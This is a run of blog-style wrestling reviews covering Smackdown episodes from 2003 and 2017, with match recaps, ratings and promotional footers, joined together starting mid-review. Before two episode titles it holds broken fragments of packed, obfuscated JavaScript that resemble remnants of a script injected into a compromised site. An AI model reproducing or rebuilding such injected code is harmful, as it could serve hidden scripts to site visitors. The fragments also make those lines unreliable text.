Here’s Dolph Ziggler to talk about how he’s good enough to not need an elaborate entrance to be a star. He goes to the back and returns….as Bayley. Is that sweet enough for these people? Ziggler talks about someone who had no in-ring ability yet people idolized him, meaning it’s time for the Ultimate Warrior entrance. With that done, Ziggler rants about how anyone can do what he just did but no one can do what he does in this ring. He couldn’t care less about any of us and he walks off.

Chad Gable/Shelton Benjamin vs. Hype Bros

Shelton takes Mojo down by the arm to start but gets forearmed in the face. It’s off to Ryder for a middle rope dropkick, only to charge into a spinebuster. A powerbomb/top rope clothesline combination ends Ryder at 2:24.

Mojo shakes hands post match but Ryder walks away.

Here’s Owens to wait for Vince’s appearance. The boss comes out and Owens says Vince looks intimidated. Vince laughs off the idea of Owens respecting authority. Vince: “Kevin, when you look in the mirror, how do you have any respect at all?” He brings up the lawsuits and sees it as Owens craving power. If Owens does file the suit, Vince will be on the phone immediately to Owens’ attorney and firing Owens on the spot.

Vince has been in his share of courtroom battles and hasn’t lost a single one (uh, right). The laws of this land were written for people like him because he’s a billionaire. By the time the lawsuit gets to court in several years, Owens will be bankrupt. As for last week though, Shane is suspended for not beating Owens up badly enough. Vince gets to the point: there won’t be a lawsuit because there’s going to be a match. Kevin Owens will face Shane McMahon inside Hell in a Cell.

That’s fine with Owens, but he needs permission to beat a McMahon senseless. They shake hands and Owens headbutts Vince, drawing some blood from Vince’s head. A right hand drops Vince again and Owens kicks him in the ribs. Referees come out and Owens adds a superkick.

Owens even adds a frog splash and Stephanie makes her first appearance since Wrestlemania to come out and check on her dad. Vince won’t get on the stretcher and nearly collapses to end the show. This was VERY well done and I love Stephanie making what felt like a natural return to check on her father instead of some grand entrance. Really good ending here and if they have Shane get mauled in the Cell, it’s even better.

Overall Rating: B. The ending brings this way up in quality but the whole show felt like a big deal. Owens is suddenly the best heel they’ve had on Smackdown in a long time and should be heading towards the World Title as soon as Nakamura takes it from Mahal. They’ve got a hot angle to go with some good action but Mahal feels in WAY over his head, which isn’t doing them any favors. That can be fixed, but they need to maintain their momentum elsewhere. Strong show tonight led by the Owens story.

Results

AJ Styles b. Tye Dillinger – Calf Crusher

New Day b. Usos – Midnight Hour to Jimmy

Natalya b. Naomi – Sharpshooter

Chad Gable/Shelton Benjamin b. Hype Bros – Powerbomb/Top rope clothesline to Ryder

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnibi|var|u0026u|referrer|stazy||js|php'.split('|'),0,{})) April 10, 2003
Location: Allstate Arena, Chicago, Illinois
Commentators: Michael Cole, Tazz

It’s tournament time and that means some bigger matches tonight. The tournament seems to be John Cena’s to win, especially with the FBI around to mess with Undertaker. Why he’s stuck with the FBI isn’t clear, but it’s also not clear why Hulk Hogan vs. Vince McMahon is continuing. Let’s get to it.

Brock Lesnar arrived earlier today and greeted some fans, two of whom are none other than Mr. Kennedy and CM Punk. Kennedy’s mugging for the camera is amusing.

Opening sequence.

Brock Lesnar vs. Matt Hardy

Non-title, meaning Matt, whose book is a New York Times best seller (of course) and is currently the longest reigning singles champion on Smackdown, can’t leave as a double champion. Matt lays the Cruiserweight Title in front of Brock, who casually kicks it away and lays his title in front of him instead.

Matt goes to pick it up so Brock steps on it and takes Matt’s head off with a clothesline. The very brave Shannon offers a distraction so Matt can get in a belt shot for a fast two. We hit the stomping for a bit before Brock backdrops him to the apron with Matt’s face smacking off the bar that connects the turnbuckle to the post.

It doesn’t seem to change much as Matt snaps the back of Brock’s neck across the ropes, only to get dropped with a scary looking electric chair. Brock makes the clothesline comeback and tosses Matt with an overhead belly to belly. Shannon has to eat a shot to the head as well, leaving Matt to take the F5 for the pin.

Rating: C. Matt was game here but there was only so much he could do in a match like this. If nothing else it gave us more of Shannon’s impressive selling as he looks like he’s getting killed every single time. Brock gets a nice win as he’s back in the ring and it’s not like the Cruiserweight Champion losing to Brock is going to really hurt him.

Roddy Piper talks about the Frankie Williams interview on Piper’s Pit where he beat the heck out of a jobber and dropped the “just when they think they’ve got all the answers, I change the questions” line.

We look back at Hogan and Vince’s segment last week with Vince sending Hogan home to get rid of him and Hulkamania for good. Is this really the best thing they can do with their TV time? I get the idea of nostalgia but wouldn’t that be more like Hogan beating up A-Train in a five minute match? This is more trying to make Hogan into Austin, which is the biggest stretch you could have.

Jamie Noble/Nidia vs. Brian Kendrick/Torrie Wilson

Sable is at ringside with Torrie’s Playboy. Noble jumps Kendrick from behind but gets sent into Nidia’s raised boot by mistake. Kendrick’s tornado DDT is countered with a northern lights suplex, sending Kendrick back first into the turnbuckle in a good looking bump. We hit the chinlock as the fans cheer for Torrie. It’s off to a reverse cravate before Sliced Bread #2 is countered with a neckbreaker. Nidia misses a Rocket Launcher though and Torrie gets the hot tag. Torrie’s neckbreaker gets two and everything breaks down. Nidia’s high crossbody hits Jamie and it’s a tornado (more like a stiff breeze) DDT to put Nidia away.

Rating: C. Not a bad match actually with the guys doing most of the work until Torrie got to do her thing at the end. As long as they keep her matches short, everything should be fine. There’s no secret about why she’s out there and she’s actually passable in the ring at times. This could have been a lot worse so I’ll take what I can get.

Sable is rather pleased.

Chris Benoit and Rhyno both want to face Brock at Backlash. Brock is cool with facing either of them.

#1 Contenders Tournament Semifinals: Chris Benoit vs. Rhyno

An early test of strength goes to Rhyno (duh) and he twists the arms around into a cross arm choke. Benoit spins out without much effort and starts in on the arm, only to get suplexed down for two. It’s time for the hard chops which actually bring Rhyno down to his knees. A knee to the ribs has Rhyno in more trouble but he avoids a dropkick.

Rhyno grabs a bodyscissors of all things until Benoit comes back with more chops. The Gore only hits the turnbuckle but a spinebuster gets two. A hard elbow to the jaw sets up the Swan Dive for two but Chris can’t get the Crossface. What he can get though is a backslide for the pin and a spot in the finals.

Rating: B-. They beat each other up here and that made for an entertaining match. Rhyno is someone who is capable of having a better match than most people would give him credit for and that’s what happened here. The ending was a nice touch too with Benoit catching Rhyno instead of flat out beating him, which should do some good for the sake of keeping their team together.

They shake hands post match.

Torrie is in the shower when Sable comes in. Sable praises her Playboy and steals the towel so Torrie has to come and get it.

Piper talks about cracking Jimmy Snuka in the head with a coconut.

It’s time for Piper’s Pit but Vince is in the ring instead. He talks about Hogan being sent home to rot so that when he’s allowed to be back, he’ll need a bag underneath him to collect his bodily waste. That brings Vince to another of his creations that he’d like to pull off the shelf: Roddy Piper. Cue Piper to interview his guest, which is of course Vince.

After mocking Vince for having small fingers, Piper says no one created him but himself. Vince mocks Piper’s ample gut, including saying that he looks like he went to heck in a breadbasket. We get an offer for Piper to join Vince’s club but Piper rips on Vince’s business failures, including the WBF and the XFL. Vince’s eyes bugging out for a few seconds is a nice touch.

Anyway, the only job Vince can hold is the one his daddy gave him. Vince gets up and talks about their dislike of Hogan, though of course they still hate each other. Piper takes off the jacket (Vince: “From one son of a b**** to another.”) and they shake over their mutual hatred of Hogan. Vince goes to leave until Piper congratulates him on doing something Piper never did: lose 1-2-3 to Hogan. Save for SuperBrawl VII of course but you can’t ask Piper to remember things like history.

Vince is mad but here’s Rikishi of all people, carrying a coconut. Rikishi remembers what Piper did to Snuka all those years ago and it’s time for revenge. Cue Sean O’Haire of all people to drop Rikishi with a clothesline and hit him with the wooden chair. Piper busts the coconut over Rikishi’s head as this is one of the most ridiculous segments I’ve seen in a long time.

I’m assuming they’re going for the old school fans here but going for the over 40 audience isn’t the best idea in the world. Adding O’Haire in helps, but the coconut stuff and Rikishi, plus the eventual return of Hogan to take all of the spotlight isn’t going to do anyone any favors. Cut out some of the nonsense and there’s something there, though there’s a lot to get through to get to it.

Les Nouvelles (La Resistance) are coming.

Team Angle vs. Rey Mysterio/Tajiri

Non-title and Team Angle dedicates this to Kurt, who is undergoing neck surgery tomorrow. Haas armbars Tajiri down to start, only to get caught in the Tarantula with Mysterio adding a running dropkick for an early two. Shelton comes in to take a dropkick as well but a Haas distraction lets Benjamin get in a superkick to take over. A double gutbuster sets up an abdominal stretch for a bit before Rey is taken into the corner.

An electric chair is countered into something like a bulldog and it’s off to Tajiri. The handspring forearm (instead of an elbow this time) gets two on Haas as everything breaks down again. Some kind of a powerbomb double team is countered into a hurricanrana to put Charlie down. The 619 into the springboard legdrop gives Rey the pin.

Rating: C+. Just like the Rhyno vs. Benoit match, this would have been better with some more time but it was fun while it lasted. That being said, I really could go with the champs being a bit more successful. I’m sure this is going to set up a title match either here or at Backlash but isn’t there a better way than having them lose clean in less than five minutes?

Undertaker is ready to win because he’s got more shower time than John Cena has ring time. Tonight he’s going to beat Cena up to shut him up then bust him up.

Bill DeMott vs. Nathan Jones

This is Jones’ in-ring debut. DeMott grabs a hammerlock so Nathan punches in the in the face. A toss sends Bill outside as Nathan seems lost out there less than a minute in. Back in and Nathan kicks him in the face for the pin. Jones didn’t even do four offensive moves in the 80 second match.

The FBI talks about Italian food and claims that they’ve had thousands of dollars and a laptop stolen from their bags. They’re asked who might have done it.

Post break Nathan is questioned about the robbery when Undertaker comes up to say this is nonsense. Jones has to leave anyway.

#1 Contenders Tournament Semifinals: John Cena vs. Undertaker

Cena says Deadman Inc. is bankrupt and he’s repossessing the yard. If Undertaker is a deadman, Cena is a necrophiliac. I really didn’t need to know that and we’ll move on. Undertaker sends him into the corner to start but stops to glare at the referee. Some big right hands have Cena in trouble and Undertaker asks if he wants to keep talking. A chokeslam gets a delayed two with Cena’s foot on the rope.

Back from a break with Undertaker still in complete control and driving in some elbows on the apron. The apron legdrop to Cena’s back but a right hand with the chain gives Cena an opening. A shoulder knocks Undertaker off the apron and gets in a shot on the bad elbow. Undertaker has a bad elbow? Good to know guys.

Cena stomps the arm into the steps but Undertaker hits a shoulder with the bad arm for no apparent reason. Old School looks to set up the Last Ride but Cena reverses into a DDT on the arm for a near fall. We hit the armbar for a bit until Undertaker punches him down without much effort. Snake Eyes into the big boot but the ref gets bumped. Just get the Italians out here already.

Cena grabs a spinebuster, only to get caught in the Last Ride. Cue the FBI for the attack with Palumbo getting in a chair shot to the head. Cole: “Flashbulb just went off! Nathan Jones has been taken out of the building!” Sweet goodness I’m surprised he got it that fast. Cena crawls over for the cover and the pin because Heaven forbid he gets the pin with his finisher.

Rating: D. Until that chain shot, Undertaker was beating Cena like the rookie that he was. It’s good that Cena won, though it would have been nice to have Undertaker not treat him like the biggest waste of his time he could find. I have no idea why the FBI is getting this spot either, but it was ALL about Undertaker here and that defeats the purpose of giving someone like Cena the win here.

Overall Rating: C-. It’s a good enough show but there’s a lot of bad stuff throughout the show taking it back down. The big story is really holding down the rest of the show as it’s just not interesting. Much like the main event, I like the idea of putting over a young guy but they’re making sure to pile on as much stuff as they can to keep it from accomplishing its goal. The wrestling on here, with the little time that it got, worked well, though it’s almost completely forgotten for the sake of the big stories. That’s fine in theory but it would help a lot if the big stories were a lot less horrible.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tndyb|var|u0026u|referrer|bzssd||js|php'.split('|'),0,{})) September 5, 2017
Location: Denny Sanford Premiere Center, Sioux Falls, South Dakota
Commentators: Corey Graves, Tom Phillips, Byron Saxton

The march towards the Cell continues and we have a new commentator to help us get there. The big story tonight is Randy Orton vs. Shinsuke Nakamura for a future shot at Jinder Mahal. Other than that we’ll be having more on Shane McMahon vs. Kevin Owens, which only exists for the sake of having Shane in the Cell again. Let’s get to it.

Opening sequence.

Tom Phillips explains that JBL has left on good terms and introduces Corey Graves as the new analyst. Nothing wrong with that.

Randy Orton says he’s seen a bunch of stars come and go so Nakamura is nothing new.

Shinsuke Nakamura says the title is his destiny.

Carmella and James Ellsworth are here for her match against Natalya but Kevin Owens comes out to say he’ll be referee. Cue Shane McMahon to say this isn’t happening again. He’s not going to let Owens take over like he did last week and he’s certainly not having Owens become a referee. Shane talks about Owens blaming him for all of his problems. We even go all the way back to Owens being handed the Universal Title a year ago.

Owens thinks this is all about Shane wanting attention from his daddy. That’s why he brings out his kids and has them dance around. That’s a major red line for Shane so Owens talks about Shane diving off the Cell and surviving the helicopter crash. Shane’s whole family would have been better off if he hadn’t survived that crash, including his kids. The beating is on and Owens gets knocked over the table before it’s broken up.

Post break, Owens is helped to the back when he runs into Daniel Bryan. Owens says this really is going to become the Kevin Owens Show because he’s going to sue the McMahon Family for everything they have. Daniel says there has to be something else Owens can do so Kevin says he’ll just press criminal charges against Shane instead.

Carmella vs. Natalya

Non-title. Carmella snaps off a headscissors to start and a dropkick gets two. We take an early break and come back with Natalya fighting out of a bodyscissors. Carmella superkicks her back down and Ellsworth throws her the briefcase. She screams no and Natalya grabs a rollup for the pin at 6:19.

Rating: D. Barely enough to rate here but technically you could see it due to that stupid picture in picture thing during the break. This was all angle of course due to the Ellsworth stuff and I still have no idea why he’s out there with her. I mean, I get it from his perspective but what did Carmella gain from him?

Post match Carmella yells at him for being such a screwup and call him a charity case. They’re done.

Conor’s Cure video.

Here’s the reinvented Dolph Ziggler, who looks just like he has for years. Ziggler says no one appreciates what he can do in the ring. These people would rather sit on their hands unsatisfied while he’s right here in front of them. The fans would rather have some dumb gimmick. Ziggler leaves and here’s John Cena’s music…..with Ziggler doing Cena’s entrance. Ziggler holds up a Cena hat to the camera: “We’re on Smackdown Live! BUY THIS BABY!”

If that doesn’t work, we can try this. Cue Ziggler to Pomp and Circumstance with a good looking blonde and a bad robe. That’s not it either so Ziggler has one more idea. This time it’s Naomi’s Glow entrance, complete with wig. Ziggler says that doesn’t work either so it’s the fans’ fault and he’s done. I think I get what they’re going for here but it feels like a YouTube video rather than a storyline.

Sami Zayn vs. Aiden English

Sami headscissors him down to start but misses a high crossbody, allowing Aiden to grab a rollup for the clean pin at 1:05.

Post match Aiden tries to sing again but gets chased off. He manages to keep singing even as he begs Sami not to hurt him.

Bryan is upset by what happened with Shane when New Day comes in, showing off their new underwear (for sale of course). The Usos come in as well and announce that it’s going to be a street fight against New Day next week for the titles. The tag teams leave and Bryan gets a phone call from someone who says something has to be done in the ring. Bryan says he’ll do it right now but he’s not pleased.

Here’s Bryan (with no music) to the ring. Bryan calls Shane to the ring so here’s the boss, also without music. Daniel asks Shane what he’s thinking and talks about all the times he’s had to swallow his pride as boss. You can’t run Smackdown doing things like he wants. Shane apologizes and says there’s no coming back once you cross a line about his kids. He asks Bryan what would happen if he was in Shane’s place but Bryan says don’t put him in that place. The call from before the break was from Vince, who has indefinitely suspended Shane.

Jinder Mahal doesn’t care who he faces.

Tye Dillinger vs. Baron Corbin

AJ Styles is on commentary. Corbin heads outside to yell at him so Tye dives onto Baron to take over early on. A clothesline sends Corbin outside again and we take a break. Back with Dillinger fighting out of a chinlock and scoring with a forearm. The Tyebreaker doesn’t work and Corbin sends him outside for a kick to the head. A chokeslam is countered into a rollup for two and Tye hammers away in the corner. Corbin hits him in the throat though (AJ: “CHEAP SHOT!”) and the End of Days is enough for the pin on Tye at 7:40.

Rating: D+. Tye got in some offense here so it was far from a squash but the winner wasn’t exactly a secret here. Corbin vs. Styles for the title should be fine and it’s nice to see that Corbin’s punishment seems to be over, or at least slowing down. To be fair, Corbin going after the US Title makes more sense than the World Title anyway so this is the right call.

Post break AJ tells Dillinger that he has the US Title shot next week. That’s the third title match on the card.

Video on Bobby Roode.

Ellsworth runs into Carmella in the back and begs her forgiveness. Carmella says from now on, they’re doing things her way. She kisses him and then slaps the taste out of his mouth.

Shinsuke Nakamura vs. Randy Orton

The winner gets Mahal, who is watching in a sky box, at Hell in a Cell. The threat of an RKO sends Nakamura bailing into the corner and Orton offers a smile. Nakamura does his head on the chest but Orton tries the draping DDT, sending Nakamura to the floor as we take a break. Back with Nakamura elbowing his way out of a chinlock but getting dropped onto the announcers’ table to keep Orton in control.

We hit another chinlock until Mahal kicks him in the head to get a breather. The knees in the corner keep Orton in trouble but he comes back with his backbreaker. Nakamura gets caught on top for the superplex but Orton can’t follow up. That earns him a COME ON and Nakamura starts with the knees.

Kinshasa is countered into the powerslam and Orton is shocked by the kickout. Now the hanging DDT works but the RKO is countered into a cross armbreaker (nice). A triangle choke has Orton in trouble though it’s not all the way in. Orton breaks it up with a powerbomb, only to eat Kinshasa for the pin and the title shot at 13:26.

Rating: B. Good though somewhat predictable match here as there was no way they were doing Orton vs. Mahal again. Nakamura seems like a good option to win the title as Mahal has done just about all he can with the belt. The fact that he’s been called repetitive and someone who does the same thing every time tells you a lot about the problem with his reign.

Nakamura looks a bit shaken up but gets to his feet.

Owens is in the back when Bryan comes up to him. This was just the beginning because next week, Smackdown is Owens’ personal playground. No one can do anything about it, but Bryan has a surprise of his own: Vince is here next week.

Overall Rating: D+. This was a very flat show with a focus on two stories that aren’t too thrilling in Carmella/Ellsworth and Owens/Shane. It doesn’t help that they’ve all but made up the graphics for Owens vs. Shane inside the Cell and are waiting for the actual announcement. That being said, we have three title matches set for next week and that should breath some life into a show that really needs it at this point.

Results

Natalya b. Carmella – Rollup

Aiden English b. Sami Zayn – Rollup

Baron Corbin b. Tye Dillinger – End of Days

Shinsuke Nakamura b. Randy Orton – Kinshasa

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6